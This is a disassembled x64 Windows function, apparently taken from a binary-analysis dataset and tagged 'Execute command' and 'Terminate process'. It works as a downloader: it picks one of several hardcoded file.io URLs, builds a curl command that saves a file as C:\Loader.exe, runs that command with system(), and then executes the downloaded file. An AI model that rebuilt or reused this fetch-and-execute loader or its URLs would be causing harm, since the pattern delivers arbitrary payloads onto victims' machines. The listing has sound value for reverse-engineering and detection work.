Function at 0x14003ad80
Capabilities:
Execute command
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov dword [rax + 8], ecx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x180
movaps xmmword [rax - 0x38], xmm6
xor r15d, r15d
mov dword [rax + 8], r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov esi, r15d
mov qword [rsp + 0x50], r15
mov r14d, 0xf
mov qword [rsp + 0x58], r14
mov byte [rsp + 0x40], sil
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0xd
mov qword [rsp + 0x38], r14
movsd xmm0, qword [str.C:_Loader.exe]
movsd qword [rsp + 0x20], xmm0
mov eax, dword [0x1400d5ef0]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x1400d5ef4]
mov byte [rsp + 0x2c], al
mov byte [rsp + 0x2d], r15b
mov eax, dword [0x14112b1ac]
test eax, eax
jne 0x14003ae5e
mov ecx, 0x20
call fcn.1400aa560
mov rbx, rax
mov esi, 0x1c
mov qword [rsp + 0x50], rsi
mov r14d, 0x1f
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [str.https:__file.io_tRPX1lQkjptj]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d5f08]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400d5f10]
mov dword [rbx + 0x18], eax
mov byte [rbx + 0x1c], r15b
mov qword [rsp + 0x40], rbx
jmp 0x14003b0b0
cmp eax, 1
jne 0x14003aeb3
mov ecx, 0x20
call fcn.1400aa560
mov rbx, rax
mov esi, 0x1c
mov qword [rsp + 0x50], rsi
mov r14d, 0x1f
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [str.https:__file.io_lVUiHuI64GGU]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d5f28]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400d5f30]
mov dword [rbx + 0x18], eax
mov byte [rbx + 0x1c], 0
mov qword [rsp + 0x40], rbx
jmp 0x14003b0b0
cmp eax, 2
jne 0x14003af08
mov ecx, 0x20
call fcn.1400aa560
mov rbx, rax
mov esi, 0x1c
mov qword [rsp + 0x50], rsi
mov r14d, 0x1f
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [str.https:__file.io_UqpOSM3VmEDJ]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d5f48]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400d5f50]
mov dword [rbx + 0x18], eax
mov byte [rbx + 0x1c], 0
mov qword [rsp + 0x40], rbx
jmp 0x14003b0b0
cmp eax, 3
jne 0x14003af5d
mov ecx, 0x20
call fcn.1400aa560
mov rbx, rax
mov esi, 0x1c
mov qword [rsp + 0x50], rsi
mov r14d, 0x1f
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [str.https:__file.io_P6hDjy8N6uMP]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d5f68]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400d5f70]
mov dword [rbx + 0x18], eax
mov byte [rbx + 0x1c], 0
mov qword [rsp + 0x40], rbx
jmp 0x14003b0b0
cmp eax, 4
jne 0x14003afb2
mov ecx, 0x20
call fcn.1400aa560
mov rbx, rax
mov esi, 0x1c
mov qword [rsp + 0x50], rsi
mov r14d, 0x1f
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [str.https:__file.io_86Y0BWnzWCCT]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d5f88]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400d5f90]
mov dword [rbx + 0x18], eax
mov byte [rbx + 0x1c], 0
mov qword [rsp + 0x40], rbx
jmp 0x14003b0b0
cmp eax, 5
jne 0x14003b007
mov ecx, 0x20
call fcn.1400aa560
mov rbx, rax
mov esi, 0x1c
mov qword [rsp + 0x50], rsi
mov r14d, 0x1f
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [str.https:__file.io_yMoReq89h1cm]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d5fa8]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400d5fb0]
mov dword [rbx + 0x18], eax
mov byte [rbx + 0x1c], 0
mov qword [rsp + 0x40], rbx
jmp 0x14003b0b0
cmp eax, 6
jne 0x14003b059
mov ecx, 0x20
call fcn.1400aa560
mov rbx, rax
mov esi, 0x1c
mov qword [rsp + 0x50], rsi
mov r14d, 0x1f
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [str.https:__file.io_3UxjN5DY7yeg]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d5fc8]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400d5fd0]
mov dword [rbx + 0x18], eax
mov byte [rbx + 0x1c], 0
mov qword [rsp + 0x40], rbx
jmp 0x14003b0b0
cmp eax, 7
jne 0x14003b0ab
mov ecx, 0x20
call fcn.1400aa560
mov rbx, rax
mov esi, 0x1c
mov qword [rsp + 0x50], rsi
mov r14d, 0x1f
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [str.https:__file.io_0zrMpHlVWxRB]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d5fe8]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400d5ff0]
mov dword [rbx + 0x18], eax
mov byte [rbx + 0x1c], 0
mov qword [rsp + 0x40], rbx
jmp 0x14003b0b0
mov rbx, qword [rsp + 0x40]
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rax, qword [rsp + 0x20]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xd8], rax
call fcn.1400a9d64
movaps xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x90]
call fcn.1400396b0
mov edi, 0x600
lea rcx, [rsp + 0x90]
call fcn.14003a120
movzx r12d, al
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x14003b15e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b159
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b159
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
test r12b, r12b
je 0x14003b233
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rax, qword [rsp + 0x20]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xd8], rax
call fcn.1400a9d64
movaps xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x90]
call fcn.1400396b0
mov edi, 0x1e00
lea rcx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 7
cmova rcx, qword [rsp + 0x90]
call fcn.1400aa220
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14003bc90
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x14003b233
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b22d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b22d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 5
jb 0x14003bca9
lea rdx, [rsp + 0x40]
cmp r14, 0xf
cmova rdx, rbx
mov qword [rsp + 0x1b8], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x110], xmm1
lea rax, [rsi + 5]
mov r13d, 0xf
lea r12, [rsp + 0x100]
cmp rax, r13
jbe 0x14003b322
mov r13, rax
or r13, 0xf
cmp r13, rcx
jbe 0x14003b2cd
mov r13, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400aa560
test rax, rax
je 0x14003b2ff
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x14003b30e
mov ecx, 0x16
cmp r13, rcx
cmovb r13, rcx
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x14003b2e7
mov r12, r15
jmp 0x14003b31a
cmp rcx, 0x1000
jb 0x14003b306
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14003bcaf
jmp 0x14003b2b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa560
mov r12, rax
mov rdx, qword [rsp + 0x1b8]
lea rax, [rsi + 5]
mov qword [rsp + 0x100], r12
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], r13
mov ecx, dword [str.curl]
mov dword [r12], ecx
movzx ecx, byte [0x1400d601c]
mov byte [r12 + 4], cl
lea rcx, [r12 + 5]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + rsi + 5], 0
or edi, 0x40
mov r8d, 4
lea rdx, str.__o
lea rcx, [rsp + 0x100]
call fcn.14003f6a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xa0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts edi, 7
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x30]
lea rcx, [rsp + 0x90]
call fcn.14003f6a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts edi, 8
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x14003b45d
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b458
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b458
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
movdqa xmm6, xmmword [0x1400d6500]
movdqu xmmword [rsp + 0xa0], xmm6
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x14003b4bc
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b4b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b4b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
movdqu xmmword [rsp + 0x110], xmm6
mov byte [rsp + 0x100], 0
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x14003b5f3
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_via_curl.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14003b54f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b54a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b54a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
movdqu xmmword [rsp + 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14003b59d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b598
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b598
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
cmp r14, 0xf
jbe 0x14003bc6e
lea rdx, [r14 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14003b5e6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b5e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400aa7e4
jmp 0x14003bc6e
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rax, qword [rsp + 0x20]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xd8], rax
call fcn.1400a9d64
movaps xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x120], xmm0
lea r8, [rsp + 0x120]
mov edx, eax
lea rcx, [rsp + 0xe0]
call fcn.1400396b0
or edi, 0xc
or edi, 1
mov dword [rsp + 0x1b0], edi
lea rcx, [rsp + 0xe0]
call fcn.14003a120
test al, al
je 0x14003b70a
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rax, qword [rsp + 0x20]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x68], rax
call fcn.1400a9d64
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x120], xmm0
lea r8, [rsp + 0x120]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.1400396b0
or edi, 0x30
or edi, 2
mov dword [rsp + 0x1b0], edi
lea rcx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 7
cmova rcx, qword [rsp + 0xb0]
mov r9d, 0xffffffff
mov r8d, 9
lea rdx, [rsp + 0x120]
call fcn.1400a9ea0
test eax, eax
jne 0x14003bcb5
cmp qword [rsp + 0x128], 0
je 0x14003b70a
xor sil, sil
jmp 0x14003b70d
mov sil, 1
test dil, 2
je 0x14003b77b
and edi, 0xfffffffd
mov rdx, qword [rsp + 0xc8]
cmp rdx, 7
jbe 0x14003b75e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b759
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003b7dd
call fcn.1400aa7e4
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], r15w
test dil, 1
je 0x14003b7c8
and edi, 0xfffffffe
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x14003b7c8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b7c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003b7e4
call fcn.1400aa7e4
test sil, sil
je 0x14003b7eb
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14003b5f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rax, qword [rsp + 0x20]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x68], rax
call fcn.1400a9d64
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x120], xmm0
lea r8, [rsp + 0x120]
mov edx, eax
lea rcx, [rsp + 0xe0]
call fcn.1400396b0
nop
lea rcx, [rsp + 0xe0]
call fcn.14003a120
movzx edi, al
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x14003b89d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b898
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b898
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
test dil, dil
je 0x14003baea
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rax, qword [rsp + 0x20]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x68], rax
call fcn.1400a9d64
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x120], xmm0
lea r8, [rsp + 0x120]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.1400396b0
nop
lea rcx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 7
cmova rcx, qword [rsp + 0xb0]
mov r9d, 0xffffffff
mov r8d, 9
lea rdx, [rsp + 0xe0]
call fcn.1400a9ea0
test eax, eax
jne 0x14003bccc
mov rdx, qword [rsp + 0xc8]
cmp rdx, 7
jbe 0x14003b977
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b972
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b972
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
cmp qword [rsp + 0xe8], 0
jne 0x14003ba8b
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Downloaded_file_is_empty.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14003b9e3
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b9de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003bb3e
call fcn.1400aa7e4
movdqu xmmword [rsp + 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14003ba2e
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ba29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003bb8c
call fcn.1400aa7e4
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
cmp r14, 0xf
jbe 0x14003ba78
lea rdx, [r14 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14003ba70
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003bbd6
mov rcx, rbx
call fcn.1400aa7e4
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
jmp 0x14003bc6e
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x150]
call fcn.14003f580
lea rcx, [rsp + 0x150]
call fcn.14003f510
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x14003bad3
mov r9d, 0x10
lea r8, str.Ignore
lea rdx, str.Ignore.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Downloaded_file_not_found.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14003bb4a
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bb45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003bb45
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
movdqu xmmword [rsp + 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14003bb98
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bb93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003bb93
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa7e4
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
cmp r14, 0xf
jbe 0x14003bbe5
lea rdx, [r14 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14003bbdd
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003bbdd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400aa7e4
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
jmp 0x14003bc6e
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
shr rdx, 0x20
lea r8, [rsp + 0x90]
lea rcx, str.remove
call fcn.14003a050
nop
call fcn.140038fd0
int3
call fcn.14000b500
nop
lea r8, [rsp + 0xb0]
mov edx, eax
lea rcx, str.file_size
call fcn.14003a050
nop
lea r8, [rsp + 0xb0]
mov edx, eax
lea rcx, str.file_size
call fcn.14003a050
int3